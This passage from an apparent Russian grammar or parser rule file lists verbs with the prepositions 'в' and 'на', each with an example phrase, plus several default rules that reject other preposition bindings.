rus_verbs:жаловаться{}, // жаловаться в комиссию
rus_verbs:опоздать{}, // опоздать в школу
rus_verbs:посылать{}, // посылать в парикмахерскую
rus_verbs:погнать{}, // погнать в хлев
rus_verbs:поступать{}, // поступать в институт
rus_verbs:усадить{}, // усадить в кресло
rus_verbs:проиграть{}, // проиграть в рулетку
rus_verbs:прилететь{}, // прилететь в страну
rus_verbs:повалиться{}, // повалиться в траву
rus_verbs:огрызнуться{}, // Собака огрызнулась в ответ
rus_verbs:лезть{}, // лезть в чужие дела
rus_verbs:потащить{}, // потащить в суд
rus_verbs:направляться{}, // направляться в порт
rus_verbs:поползти{}, // поползти в другую сторону
rus_verbs:пуститься{}, // пуститься в пляс
rus_verbs:забиться{}, // забиться в нору
rus_verbs:залезть{}, // залезть в конуру
rus_verbs:сдать{}, // сдать в утиль
rus_verbs:тронуться{}, // тронуться в путь
rus_verbs:сыграть{}, // сыграть в шахматы
rus_verbs:перевернуть{}, // перевернуть в более удобную позу
rus_verbs:сжимать{}, // сжимать пальцы в кулак
rus_verbs:подтолкнуть{}, // подтолкнуть в бок
rus_verbs:отнести{}, // отнести животное в лечебницу
rus_verbs:одеться{}, // одеться в зимнюю одежду
rus_verbs:плюнуть{}, // плюнуть в колодец
rus_verbs:передавать{}, // передавать в прокуратуру
rus_verbs:отскочить{}, // отскочить в лоб
rus_verbs:призвать{}, // призвать в армию
rus_verbs:увезти{}, // увезти в деревню
rus_verbs:улечься{}, // улечься в кроватку
rus_verbs:отшатнуться{}, // отшатнуться в сторону
rus_verbs:ложиться{}, // ложиться в постель
rus_verbs:пролететь{}, // пролететь в конец
rus_verbs:класть{}, // класть в сейф
rus_verbs:доставлять{}, // доставлять в кабинет
rus_verbs:приобретать{}, // приобретать в кредит
rus_verbs:сводить{}, // сводить в театр
rus_verbs:унести{}, // унести в могилу
rus_verbs:покатиться{}, // покатиться в яму
rus_verbs:сходить{}, // сходить в магазинчик
rus_verbs:спустить{}, // спустить в канализацию
rus_verbs:проникать{}, // проникать в сердцевину
rus_verbs:метнуть{}, // метнуть в болвана гневный взгляд
rus_verbs:пожаловаться{}, // пожаловаться в администрацию
rus_verbs:стучать{}, // стучать в металлическую дверь
rus_verbs:тащить{}, // тащить в ремонт
rus_verbs:заглядывать{}, // заглядывать в ответы
rus_verbs:плюхнуться{}, // плюхнуться в стол ароматного сена
rus_verbs:увести{}, // увести в следующий кабинет
rus_verbs:успевать{}, // успевать в школу
rus_verbs:пробраться{}, // пробраться в собачью конуру
rus_verbs:подавать{}, // подавать в суд
rus_verbs:прибежать{}, // прибежать в конюшню
rus_verbs:рассмотреть{}, // рассмотреть в микроскоп
rus_verbs:пнуть{}, // пнуть в живот
rus_verbs:завернуть{}, // завернуть в декоративную пленку
rus_verbs:уезжать{}, // уезжать в деревню
rus_verbs:привлекать{}, // привлекать в свои ряды
rus_verbs:перебраться{}, // перебраться в прибрежный город
rus_verbs:долить{}, // долить в коктейль
rus_verbs:палить{}, // палить в нападающих
rus_verbs:отобрать{}, // отобрать в коллекцию
rus_verbs:улететь{}, // улететь в неизвестность
rus_verbs:выглянуть{}, // выглянуть в окно
rus_verbs:выглядывать{}, // выглядывать в окно
rus_verbs:пробираться{}, // грабитель, пробирающийся в дом
инфинитив:написать{ aux stress="напис^ать"}, // читатель, написавший в блог
глагол:написать{ aux stress="напис^ать"},
прилагательное:написавший{ aux stress="напис^авший"},
rus_verbs:свернуть{}, // свернуть в колечко
инфинитив:сползать{ вид:несоверш }, // сползать в овраг
глагол:сползать{ вид:несоверш },
прилагательное:сползающий{ вид:несоверш },
прилагательное:сползавший{ вид:несоверш },
rus_verbs:барабанить{}, // барабанить в дверь
rus_verbs:дописывать{}, // дописывать в конец
rus_verbs:меняться{}, // меняться в лучшую сторону
rus_verbs:измениться{}, // измениться в лучшую сторону
rus_verbs:изменяться{}, // изменяться в лучшую сторону
rus_verbs:вписаться{}, // вписаться в поворот
rus_verbs:вписываться{}, // вписываться в повороты
rus_verbs:переработать{}, // переработать в удобрение
rus_verbs:перерабатывать{}, // перерабатывать в удобрение
rus_verbs:уползать{}, // уползать в тень
rus_verbs:заползать{}, // заползать в нору
rus_verbs:перепрятать{}, // перепрятать в укромное место
rus_verbs:заталкивать{}, // заталкивать в вагон
rus_verbs:преобразовывать{}, // преобразовывать в список
инфинитив:конвертировать{ вид:несоверш }, // конвертировать в список
глагол:конвертировать{ вид:несоверш },
инфинитив:конвертировать{ вид:соверш },
глагол:конвертировать{ вид:соверш },
деепричастие:конвертировав{},
деепричастие:конвертируя{},
rus_verbs:изорвать{}, // Он изорвал газету в клочки.
rus_verbs:выходить{}, // Окна выходят в сад.
rus_verbs:говорить{}, // Он говорил в защиту своего отца.
rus_verbs:вырастать{}, // Он вырастает в большого художника.
rus_verbs:вывести{}, // Он вывел детей в сад.
// инфинитив:всыпать{ вид:соверш }, инфинитив:всыпать{ вид:несоверш },
// глагол:всыпать{ вид:соверш }, глагол:всыпать{ вид:несоверш }, // Он всыпал в воду две ложки соли.
// прилагательное:раненый{}, // Он был ранен в левую руку.
// прилагательное:одетый{}, // Он был одет в толстое осеннее пальто.
rus_verbs:бухнуться{}, // Он бухнулся в воду.
rus_verbs:склонять{}, // склонять защиту в свою пользу
rus_verbs:впиться{}, // Пиявка впилась в тело.
rus_verbs:сходиться{}, // Интеллигенты начала века часто сходились в разные союзы
rus_verbs:сохранять{}, // сохранить данные в файл
rus_verbs:собирать{}, // собирать игрушки в ящик
rus_verbs:упаковывать{}, // упаковывать вещи в чемодан
rus_verbs:обращаться{}, // Обращайтесь ко мне в любое время
rus_verbs:стрельнуть{}, // стрельни в толпу!
rus_verbs:пулять{}, // пуляй в толпу
rus_verbs:пульнуть{}, // пульни в толпу
rus_verbs:становиться{}, // Становитесь в очередь.
rus_verbs:вписать{}, // Юля вписала свое имя в список.
rus_verbs:вписывать{}, // Мы вписывали свои имена в список
прилагательное:видный{}, // Планета Марс видна в обычный бинокль
rus_verbs:пойти{}, // Девочка рано пошла в школу
rus_verbs:отойти{}, // Эти обычаи отошли в историю.
rus_verbs:бить{}, // Холодный ветер бил ему в лицо.
rus_verbs:входить{}, // Это входит в его обязанности.
rus_verbs:принять{}, // меня приняли в пионеры
rus_verbs:уйти{}, // Правительство РФ ушло в отставку
rus_verbs:допустить{}, // Япония была допущена в Организацию Объединённых Наций в 1956 году.
rus_verbs:посвятить{}, // Я посвятил друга в свою тайну.
инфинитив:экспортировать{ вид:несоверш }, глагол:экспортировать{ вид:несоверш }, // экспортировать нефть в страны Востока
rus_verbs:взглянуть{}, // Я не смел взглянуть ему в глаза.
rus_verbs:идти{}, // Я иду гулять в парк.
rus_verbs:вскочить{}, // Я вскочил в трамвай и помчался в институт.
rus_verbs:получить{}, // Эту мебель мы получили в наследство от родителей.
rus_verbs:везти{}, // Учитель везёт детей в лагерь.
rus_verbs:качать{}, // Судно качает во все стороны.
rus_verbs:заезжать{}, // Сегодня вечером я заезжал в магазин за книгами.
rus_verbs:связать{}, // Свяжите свои вещи в узелок.
rus_verbs:пронести{}, // Пронесите стол в дверь.
rus_verbs:вынести{}, // Надо вынести примечания в конец.
rus_verbs:устроить{}, // Она устроила сына в школу.
rus_verbs:угодить{}, // Она угодила головой в дверь.
rus_verbs:отвернуться{}, // Она резко отвернулась в сторону.
rus_verbs:рассматривать{}, // Она рассматривала сцену в бинокль.
rus_verbs:обратить{}, // Война обратила город в развалины.
rus_verbs:сойтись{}, // Мы сошлись в школьные годы.
rus_verbs:приехать{}, // Мы приехали в положенный час.
rus_verbs:встать{}, // Дети встали в круг.
rus_verbs:впасть{}, // Из-за болезни он впал в нужду.
rus_verbs:придти{}, // придти в упадок
rus_verbs:заявить{}, // Надо заявить в милицию о краже.
rus_verbs:заявлять{}, // заявлять в полицию
rus_verbs:ехать{}, // Мы будем ехать в Орёл
rus_verbs:окрашиваться{}, // окрашиваться в красный цвет
rus_verbs:решить{}, // Дело решено в пользу истца.
rus_verbs:сесть{}, // Она села в кресло
rus_verbs:посмотреть{}, // Она посмотрела на себя в зеркало.
rus_verbs:влезать{}, // он влезает в мою квартирку
rus_verbs:попасться{}, // в мою ловушку попалась мышь
rus_verbs:лететь{}, // Мы летим в Орёл
ГЛ_ИНФ(брать), // он берет в свою правую руку очень тяжелый шершавый камень
ГЛ_ИНФ(взять), // Коля взял в руку камень
ГЛ_ИНФ(поехать), // поехать в круиз
ГЛ_ИНФ(подать), // подать в отставку
инфинитив:засыпать{ вид:соверш }, глагол:засыпать{ вид:соверш }, // засыпать песок в ящик
инфинитив:засыпать{ вид:несоверш переходность:переходный }, глагол:засыпать{ вид:несоверш переходность:переходный }, // засыпать песок в ящик
ГЛ_ИНФ(впадать), прилагательное:впадающий{}, прилагательное:впадавший{}, деепричастие:впадая{}, // впадать в море
ГЛ_ИНФ(постучать) // постучать в дверь
}
// Чтобы разрешить связывание в паттернах типа: уйти в BEA Systems
fact гл_предл
{
if context { Гл_В_Вин предлог:в{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { Гл_В_Вин предлог:в{} *:*{ падеж:вин } }
then return true
}
fact гл_предл
{
if context { глагол:подвывать{} предлог:в{} существительное:такт{ падеж:вин } }
then return true
}
#endregion Винительный
// Все остальные варианты по умолчанию запрещаем.
fact гл_предл
{
if context { * предлог:в{} *:*{ падеж:предл } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:в{} *:*{ падеж:мест } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:в{} *:*{ падеж:вин } }
then return false,-4
}
fact гл_предл
{
if context { * предлог:в{} * }
then return false,-5
}
#endregion Предлог_В
#region Предлог_НА
// ------------------- С ПРЕДЛОГОМ 'НА' ---------------------------
#region ПРЕДЛОЖНЫЙ
// НА+предложный падеж:
// ЛЕЖАТЬ НА СТОЛЕ
#region VerbList
wordentry_set Гл_НА_Предл=
{
rus_verbs:заслушать{}, // Вопрос заслушали на сессии облсовета
rus_verbs:ПРОСТУПАТЬ{}, // На лбу, носу и щеке проступало черное пятно кровоподтека. (ПРОСТУПАТЬ/ПРОСТУПИТЬ)
rus_verbs:ПРОСТУПИТЬ{}, //
rus_verbs:ВИДНЕТЬСЯ{}, // На другой стороне Океана виднелась полоска суши, окружавшая нижний ярус планеты. (ВИДНЕТЬСЯ)
rus_verbs:ЗАВИСАТЬ{}, // Машина умела зависать в воздухе на любой высоте (ЗАВИСАТЬ)
rus_verbs:ЗАМЕРЕТЬ{}, // Скользнув по траве, он замер на боку (ЗАМЕРЕТЬ, локатив)
rus_verbs:ЗАМИРАТЬ{}, //
rus_verbs:ЗАКРЕПИТЬ{}, // Он вручил ей лишний кинжал, который она воткнула в рубаху и закрепила на подоле. (ЗАКРЕПИТЬ)
rus_verbs:УПОЛЗТИ{}, // Зверь завизжал и попытался уползти на двух невредимых передних ногах. (УПОЛЗТИ/УПОЛЗАТЬ)
rus_verbs:УПОЛЗАТЬ{}, //
rus_verbs:БОЛТАТЬСЯ{}, // Тело его будет болтаться на пространственных ветрах, пока не сгниет веревка. (БОЛТАТЬСЯ)
rus_verbs:РАЗВЕРНУТЬ{}, // Филиппины разрешат США развернуть военные базы на своей территории (РАЗВЕРНУТЬ)
rus_verbs:ПОЛУЧИТЬ{}, // Я пытался узнать секреты и получить советы на официальном русскоязычном форуме (ПОЛУЧИТЬ)
rus_verbs:ЗАСИЯТЬ{}, // Он активировал управление, и на экране снова засияло изображение полумесяца. (ЗАСИЯТЬ)
rus_verbs:ВЗОРВАТЬСЯ{}, // Смертник взорвался на предвыборном митинге в Пакистане (ВЗОРВАТЬСЯ)
rus_verbs:искриться{},
rus_verbs:ОДЕРЖИВАТЬ{}, // На выборах в иранский парламент победу одерживают противники действующего президента (ОДЕРЖИВАТЬ)
rus_verbs:ПРЕСЕЧЬ{}, // На Украине пресекли дерзкий побег заключенных на вертолете (ПРЕСЕЧЬ)
rus_verbs:УЛЕТЕТЬ{}, // Голый норвежец улетел на лыжах с трамплина на 60 метров (УЛЕТЕТЬ)
rus_verbs:ПРОХОДИТЬ{}, // укрывающийся в лесу американский подросток проходил инициацию на охоте, выпив кружку крови первого убитого им оленя (ПРОХОДИТЬ)
rus_verbs:СУЩЕСТВОВАТЬ{}, // На Марсе существовали условия для жизни (СУЩЕСТВОВАТЬ)
rus_verbs:УКАЗАТЬ{}, // Победу в Лиге чемпионов укажут на часах (УКАЗАТЬ)
rus_verbs:отвести{}, // отвести душу на людях
rus_verbs:сходиться{}, // Оба профессора сходились на том, что в черепной коробке динозавра
rus_verbs:сойтись{},
rus_verbs:ОБНАРУЖИТЬ{}, // Доказательство наличия подповерхностного океана на Европе обнаружено на её поверхности (ОБНАРУЖИТЬ)
rus_verbs:НАБЛЮДАТЬСЯ{}, // Редкий зодиакальный свет вскоре будет наблюдаться на ночном небе (НАБЛЮДАТЬСЯ)
rus_verbs:ДОСТИГНУТЬ{}, // На всех аварийных реакторах достигнуто состояние так называемой холодной остановки (ДОСТИГНУТЬ/ДОСТИЧЬ)
глагол:ДОСТИЧЬ{},
инфинитив:ДОСТИЧЬ{},
rus_verbs:завершить{}, // Российские биатлонисты завершили чемпионат мира на мажорной ноте
rus_verbs:РАСКЛАДЫВАТЬ{},
rus_verbs:ФОКУСИРОВАТЬСЯ{}, // Инвесторы предпочитают фокусироваться на среднесрочных ожиданиях (ФОКУСИРОВАТЬСЯ)
rus_verbs:ВОСПРИНИМАТЬ{}, // как несерьезно воспринимали его на выборах мэра (ВОСПРИНИМАТЬ)
rus_verbs:БУШЕВАТЬ{}, // на территории Тверской области бушевала гроза , в результате которой произошло отключение электроснабжения в ряде муниципальных образований региона (БУШЕВАТЬ)
rus_verbs:УЧАСТИТЬСЯ{}, // В последние месяцы в зоне ответственности бундесвера на севере Афганистана участились случаи обстрелов полевых лагерей немецких миротворцев (УЧАСТИТЬСЯ)
rus_verbs:ВЫИГРАТЬ{}, // Почему женская сборная России не может выиграть медаль на чемпионате мира (ВЫИГРАТЬ)
rus_verbs:ПРОПАСТЬ{}, // Пропавшим на прогулке актером заинтересовались следователи (ПРОПАСТЬ)
rus_verbs:УБИТЬ{}, // Силовики убили двух боевиков на административной границе Ингушетии и Чечни (УБИТЬ)
rus_verbs:подпрыгнуть{}, // кобель нелепо подпрыгнул на трех ногах , а его хозяин отправил струю пива мимо рта
rus_verbs:подпрыгивать{},
rus_verbs:высветиться{}, // на компьютере высветится твоя подпись
rus_verbs:фигурировать{}, // его портрет фигурирует на страницах печати и телеэкранах
rus_verbs:действовать{}, // выявленный контрабандный канал действовал на постоянной основе
rus_verbs:СОХРАНИТЬСЯ{}, // На рынке международных сделок IPO сохранится высокая активность (СОХРАНИТЬСЯ НА)
rus_verbs:ПРОЙТИ{}, // Необычный конкурс прошёл на севере Швеции (ПРОЙТИ НА предл)
rus_verbs:НАЧАТЬСЯ{}, // На северо-востоке США началась сильная снежная буря. (НАЧАТЬСЯ НА предл)
rus_verbs:ВОЗНИКНУТЬ{}, // Конфликт возник на почве совместной коммерческой деятельности по выращиванию овощей и зелени (ВОЗНИКНУТЬ НА)
rus_verbs:СВЕТИТЬСЯ{}, // она по-прежнему светится на лицах людей (СВЕТИТЬСЯ НА предл)
rus_verbs:ОРГАНИЗОВАТЬ{}, // Власти Москвы намерены организовать масленичные гуляния на 100 площадках (ОРГАНИЗОВАТЬ НА предл)
rus_verbs:ИМЕТЬ{}, // Имея власть на низовом уровне, оказывать самое непосредственное и определяющее влияние на верховную власть (ИМЕТЬ НА предл)
rus_verbs:ОПРОБОВАТЬ{}, // Опробовать и отточить этот инструмент на местных и региональных выборах (ОПРОБОВАТЬ, ОТТОЧИТЬ НА предл)
rus_verbs:ОТТОЧИТЬ{},
rus_verbs:ДОЛОЖИТЬ{}, // Участникам совещания предложено подготовить по этому вопросу свои предложения и доложить на повторной встрече (ДОЛОЖИТЬ НА предл)
rus_verbs:ОБРАЗОВЫВАТЬСЯ{}, // Солевые и пылевые бури , образующиеся на поверхности обнаженной площади моря , уничтожают урожаи и растительность (ОБРАЗОВЫВАТЬСЯ НА)
rus_verbs:СОБРАТЬ{}, // использует собранные на местном рынке депозиты (СОБРАТЬ НА предл)
инфинитив:НАХОДИТЬСЯ{ вид:несоверш}, // находившихся на борту самолета (НАХОДИТЬСЯ НА предл)
глагол:НАХОДИТЬСЯ{ вид:несоверш },
прилагательное:находившийся{ вид:несоверш },
прилагательное:находящийся{ вид:несоверш },
деепричастие:находясь{},
rus_verbs:ГОТОВИТЬ{}, // пищу готовят сами на примусах (ГОТОВИТЬ НА предл)
rus_verbs:РАЗДАТЬСЯ{}, // Они сообщили о сильном хлопке , который раздался на территории нефтебазы (РАЗДАТЬСЯ НА)
rus_verbs:ПОДСКАЛЬЗЫВАТЬСЯ{}, // подскальзываться на той же апельсиновой корке (ПОДСКАЛЬЗЫВАТЬСЯ НА)
rus_verbs:СКРЫТЬСЯ{}, // Германия: латвиец ограбил магазин и попытался скрыться на такси (СКРЫТЬСЯ НА предл)
rus_verbs:ВЫРАСТИТЬ{}, // Пациенту вырастили новый нос на руке (ВЫРАСТИТЬ НА)
rus_verbs:ПРОДЕМОНСТРИРОВАТЬ{}, // Они хотят подчеркнуть эмоциональную тонкость оппозиционера и на этом фоне продемонстрировать бездушность российской власти (ПРОДЕМОНСТРИРОВАТЬ НА предл)
rus_verbs:ОСУЩЕСТВЛЯТЬСЯ{}, // первичный анализ смеси запахов может осуществляться уже на уровне рецепторных нейронов благодаря механизму латерального торможения (ОСУЩЕСТВЛЯТЬСЯ НА)
rus_verbs:ВЫДЕЛЯТЬСЯ{}, // Ягоды брусники, резко выделяющиеся своим красным цветом на фоне зелёной листвы, поедаются животными и птицами (ВЫДЕЛЯТЬСЯ НА)
rus_verbs:РАСКРЫТЬ{}, // На Украине раскрыто крупное мошенничество в сфере туризма (РАСКРЫТЬ НА)
rus_verbs:ОБЖАРИВАТЬСЯ{}, // Омлет обжаривается на сливочном масле с одной стороны, пока он почти полностью не загустеет (ОБЖАРИВАТЬСЯ НА)
rus_verbs:ПРИГОТОВЛЯТЬ{}, // Яичница — блюдо европейской кухни, приготовляемое на сковороде из разбитых яиц (ПРИГОТОВЛЯТЬ НА)
rus_verbs:РАССАДИТЬ{}, // Женька рассадил игрушки на скамеечке (РАССАДИТЬ НА)
rus_verbs:ОБОЖДАТЬ{}, // обожди Анжелу на остановке троллейбуса (ОБОЖДАТЬ НА)
rus_verbs:УЧИТЬСЯ{}, // Марина учится на факультете журналистики (УЧИТЬСЯ НА предл)
rus_verbs:раскладываться{}, // Созревшие семенные экземпляры раскладывают на солнце или в теплом месте, где они делаются мягкими (РАСКЛАДЫВАТЬСЯ В, НА)
rus_verbs:ПОСЛУШАТЬ{}, // Послушайте друзей и врагов на расстоянии! (ПОСЛУШАТЬ НА)
rus_verbs:ВЕСТИСЬ{}, // На стороне противника всю ночь велась перегруппировка сил. (ВЕСТИСЬ НА)
rus_verbs:ПОИНТЕРЕСОВАТЬСЯ{}, // корреспондент поинтересовался у людей на улице (ПОИНТЕРЕСОВАТЬСЯ НА)
rus_verbs:ОТКРЫВАТЬСЯ{}, // Российские биржи открываются на негативном фоне (ОТКРЫВАТЬСЯ НА)
rus_verbs:СХОДИТЬ{}, // Вы сходите на следующей остановке? (СХОДИТЬ НА)
rus_verbs:ПОГИБНУТЬ{}, // Её отец погиб на войне. (ПОГИБНУТЬ НА)
rus_verbs:ВЫЙТИ{}, // Книга выйдет на будущей неделе. (ВЫЙТИ НА предл)
rus_verbs:НЕСТИСЬ{}, // Корабль несётся на всех парусах. (НЕСТИСЬ НА предл)
rus_verbs:вкалывать{}, // Папа вкалывает на работе, чтобы прокормить семью (вкалывать на)
rus_verbs:доказать{}, // разработчики доказали на практике применимость данного подхода к обсчету сцен (доказать на, применимость к)
rus_verbs:хулиганить{}, // дозволять кому-то хулиганить на кладбище (хулиганить на)
глагол:вычитать{вид:соверш}, инфинитив:вычитать{вид:соверш}, // вычитать на сайте (вычитать на сайте)
деепричастие:вычитав{},
rus_verbs:аккомпанировать{}, // он аккомпанировал певцу на губной гармошке (аккомпанировать на)
rus_verbs:набрать{}, // статья с заголовком, набранным на компьютере
rus_verbs:сделать{}, // книга с иллюстрацией, сделанной на компьютере
rus_verbs:развалиться{}, // Антонио развалился на диване
rus_verbs:улечься{}, // Антонио улегся на полу
rus_verbs:зарубить{}, // Заруби себе на носу.
rus_verbs:ценить{}, // Его ценят на заводе.
rus_verbs:вернуться{}, // Отец вернулся на закате.
rus_verbs:шить{}, // Вы умеете шить на машинке?
rus_verbs:бить{}, // Скот бьют на бойне.
rus_verbs:выехать{}, // Мы выехали на рассвете.
rus_verbs:валяться{}, // На полу валяется бумага.
rus_verbs:разложить{}, // она разложила полотенце на песке
rus_verbs:заниматься{}, // я занимаюсь на тренажере
rus_verbs:позаниматься{},
rus_verbs:порхать{}, // порхать на лугу
rus_verbs:пресекать{}, // пресекать на корню
rus_verbs:изъясняться{}, // изъясняться на непонятном языке
rus_verbs:развесить{}, // развесить на столбах
rus_verbs:обрасти{}, // обрасти на южной части
rus_verbs:откладываться{}, // откладываться на стенках артерий
rus_verbs:уносить{}, // уносить на носилках
rus_verbs:проплыть{}, // проплыть на плоту
rus_verbs:подъезжать{}, // подъезжать на повозках
rus_verbs:пульсировать{}, // пульсировать на лбу
rus_verbs:рассесться{}, // птицы расселись на ветках
rus_verbs:застопориться{}, // застопориться на первом пункте
rus_verbs:изловить{}, // изловить на окраинах
rus_verbs:покататься{}, // покататься на машинках
rus_verbs:залопотать{}, // залопотать на неизвестном языке
rus_verbs:растягивать{}, // растягивать на станке
rus_verbs:поделывать{}, // поделывать на пляже
rus_verbs:подстеречь{}, // подстеречь на площадке
rus_verbs:проектировать{}, // проектировать на компьютере
rus_verbs:притулиться{}, // притулиться на кушетке
rus_verbs:дозволять{}, // дозволять кому-то хулиганить на кладбище
rus_verbs:пострелять{}, // пострелять на испытательном полигоне
rus_verbs:засиживаться{}, // засиживаться на работе
rus_verbs:нежиться{}, // нежиться на солнышке
rus_verbs:притомиться{}, // притомиться на рабочем месте
rus_verbs:поселяться{}, // поселяться на чердаке
rus_verbs:потягиваться{}, // потягиваться на земле
rus_verbs:отлеживаться{}, // отлеживаться на койке
rus_verbs:протаранить{}, // протаранить на танке
rus_verbs:гарцевать{}, // гарцевать на коне
rus_verbs:облупиться{}, // облупиться на носу
rus_verbs:оговорить{}, // оговорить на собеседовании
rus_verbs:зарегистрироваться{}, // зарегистрироваться на сайте
rus_verbs:отпечатать{}, // отпечатать на картоне
rus_verbs:сэкономить{}, // сэкономить на мелочах
rus_verbs:покатать{}, // покатать на пони
rus_verbs:колесить{}, // колесить на старой машине
rus_verbs:понастроить{}, // понастроить на участках
rus_verbs:поджарить{}, // поджарить на костре
rus_verbs:узнаваться{}, // узнаваться на фотографии
rus_verbs:отощать{}, // отощать на казенных харчах
rus_verbs:редеть{}, // редеть на макушке
rus_verbs:оглашать{}, // оглашать на общем собрании
rus_verbs:лопотать{}, // лопотать на иврите
rus_verbs:пригреть{}, // пригреть на груди
rus_verbs:консультироваться{}, // консультироваться на форуме
rus_verbs:приноситься{}, // приноситься на одежде
rus_verbs:сушиться{}, // сушиться на балконе
rus_verbs:наследить{}, // наследить на полу
rus_verbs:нагреться{}, // нагреться на солнце
rus_verbs:рыбачить{}, // рыбачить на озере
rus_verbs:прокатить{}, // прокатить на выборах
rus_verbs:запинаться{}, // запинаться на ровном месте
rus_verbs:отрубиться{}, // отрубиться на мягкой подушке
rus_verbs:заморозить{}, // заморозить на улице
rus_verbs:промерзнуть{}, // промерзнуть на открытом воздухе
rus_verbs:просохнуть{}, // просохнуть на батарее
rus_verbs:развозить{}, // развозить на велосипеде
rus_verbs:прикорнуть{}, // прикорнуть на диванчике
rus_verbs:отпечататься{}, // отпечататься на коже
rus_verbs:выявлять{}, // выявлять на таможне
rus_verbs:расставлять{}, // расставлять на башнях
rus_verbs:прокрутить{}, // прокрутить на пальце
rus_verbs:умываться{}, // умываться на улице
rus_verbs:пересказывать{}, // пересказывать на страницах романа
rus_verbs:удалять{}, // удалять на пуховике
rus_verbs:хозяйничать{}, // хозяйничать на складе
rus_verbs:оперировать{}, // оперировать на поле боя
rus_verbs:поносить{}, // поносить на голове
rus_verbs:замурлыкать{}, // замурлыкать на коленях
rus_verbs:передвигать{}, // передвигать на тележке
rus_verbs:прочертить{}, // прочертить на земле
rus_verbs:колдовать{}, // колдовать на кухне
rus_verbs:отвозить{}, // отвозить на казенном транспорте
rus_verbs:трахать{}, // трахать на природе
rus_verbs:мастерить{}, // мастерить на кухне
rus_verbs:ремонтировать{}, // ремонтировать на коленке
rus_verbs:развезти{}, // развезти на велосипеде
rus_verbs:робеть{}, // робеть на сцене
инфинитив:реализовать{ вид:несоверш }, инфинитив:реализовать{ вид:соверш }, // реализовать на сайте
глагол:реализовать{ вид:несоверш }, глагол:реализовать{ вид:соверш },
деепричастие:реализовав{}, деепричастие:реализуя{},
rus_verbs:покаяться{}, // покаяться на смертном одре
rus_verbs:специализироваться{}, // специализироваться на тестировании
rus_verbs:попрыгать{}, // попрыгать на батуте
rus_verbs:переписывать{}, // переписывать на столе
rus_verbs:расписывать{}, // расписывать на доске
rus_verbs:зажимать{}, // зажимать на запястье
rus_verbs:практиковаться{}, // практиковаться на мышах
rus_verbs:уединиться{}, // уединиться на чердаке
rus_verbs:подохнуть{}, // подохнуть на чужбине
rus_verbs:приподниматься{}, // приподниматься на руках
rus_verbs:уродиться{}, // уродиться на полях
rus_verbs:продолжиться{}, // продолжиться на улице
rus_verbs:посапывать{}, // посапывать на диване
rus_verbs:ободрать{}, // ободрать на спине
rus_verbs:скрючиться{}, // скрючиться на песке
rus_verbs:тормознуть{}, // тормознуть на перекрестке
rus_verbs:лютовать{}, // лютовать на хуторе
rus_verbs:зарегистрировать{}, // зарегистрировать на сайте
rus_verbs:переждать{}, // переждать на вершине холма
rus_verbs:доминировать{}, // доминировать на территории
rus_verbs:публиковать{}, // публиковать на сайте
rus_verbs:морщить{}, // морщить на лбу
rus_verbs:сконцентрироваться{}, // сконцентрироваться на главном
rus_verbs:подрабатывать{}, // подрабатывать на рынке
rus_verbs:репетировать{}, // репетировать на заднем дворе
rus_verbs:подвернуть{}, // подвернуть на брусчатке
rus_verbs:зашелестеть{}, // зашелестеть на ветру
rus_verbs:расчесывать{}, // расчесывать на спине
rus_verbs:одевать{}, // одевать на рынке
rus_verbs:испечь{}, // испечь на углях
rus_verbs:сбрить{}, // сбрить на затылке
rus_verbs:согреться{}, // согреться на печке
rus_verbs:замаячить{}, // замаячить на горизонте
rus_verbs:пересчитывать{}, // пересчитывать на пальцах
rus_verbs:галдеть{}, // галдеть на крыльце
rus_verbs:переплыть{}, // переплыть на плоту
rus_verbs:передохнуть{}, // передохнуть на скамейке
rus_verbs:прижиться{}, // прижиться на ферме
rus_verbs:переправляться{}, // переправляться на плотах
rus_verbs:накупить{}, // накупить на блошином рынке
rus_verbs:проторчать{}, // проторчать на виду
rus_verbs:мокнуть{}, // мокнуть на улице
rus_verbs:застукать{}, // застукать на камбузе
rus_verbs:завязывать{}, // завязывать на ботинках
rus_verbs:повисать{}, // повисать на ветке
rus_verbs:подвизаться{}, // подвизаться на государственной службе
rus_verbs:кормиться{}, // кормиться на болоте
rus_verbs:покурить{}, // покурить на улице
rus_verbs:зимовать{}, // зимовать на болотах
rus_verbs:застегивать{}, // застегивать на гимнастерке
rus_verbs:поигрывать{}, // поигрывать на гитаре
rus_verbs:погореть{}, // погореть на махинациях с землей
rus_verbs:кувыркаться{}, // кувыркаться на батуте
rus_verbs:похрапывать{}, // похрапывать на диване
rus_verbs:пригревать{}, // пригревать на груди
rus_verbs:завязнуть{}, // завязнуть на болоте
rus_verbs:шастать{}, // шастать на втором этаже
rus_verbs:заночевать{}, // заночевать на сеновале
rus_verbs:отсиживаться{}, // отсиживаться на чердаке
rus_verbs:мчать{}, // мчать на байке
rus_verbs:сгнить{}, // сгнить на урановых рудниках
rus_verbs:тренировать{}, // тренировать на манекенах
rus_verbs:повеселиться{}, // повеселиться на празднике
rus_verbs:измучиться{}, // измучиться на болоте
rus_verbs:увянуть{}, // увянуть на подоконнике
rus_verbs:раскрутить{}, // раскрутить на оси
rus_verbs:выцвести{}, // выцвести на солнечном свету
rus_verbs:изготовлять{}, // изготовлять на коленке
rus_verbs:гнездиться{}, // гнездиться на вершине дерева
rus_verbs:разогнаться{}, // разогнаться на мотоцикле
rus_verbs:излагаться{}, // излагаться на страницах доклада
rus_verbs:сконцентрировать{}, // сконцентрировать на левом фланге
rus_verbs:расчесать{}, // расчесать на макушке
rus_verbs:плавиться{}, // плавиться на солнце
rus_verbs:редактировать{}, // редактировать на ноутбуке
rus_verbs:подскакивать{}, // подскакивать на месте
rus_verbs:покупаться{}, // покупаться на рынке
rus_verbs:промышлять{}, // промышлять на мелководье
rus_verbs:приобретаться{}, // приобретаться на распродажах
rus_verbs:наигрывать{}, // наигрывать на банджо
rus_verbs:маневрировать{}, // маневрировать на флангах
rus_verbs:запечатлеться{}, // запечатлеться на записях камер
rus_verbs:укрывать{}, // укрывать на чердаке
rus_verbs:подорваться{}, // подорваться на фугасе
rus_verbs:закрепиться{}, // закрепиться на занятых позициях
rus_verbs:громыхать{}, // громыхать на кухне
инфинитив:подвигаться{ вид:соверш }, глагол:подвигаться{ вид:соверш }, // подвигаться на полу
деепричастие:подвигавшись{},
rus_verbs:добываться{}, // добываться на территории Анголы
rus_verbs:приплясывать{}, // приплясывать на сцене
rus_verbs:доживать{}, // доживать на больничной койке
rus_verbs:отпраздновать{}, // отпраздновать на работе
rus_verbs:сгубить{}, // сгубить на корню
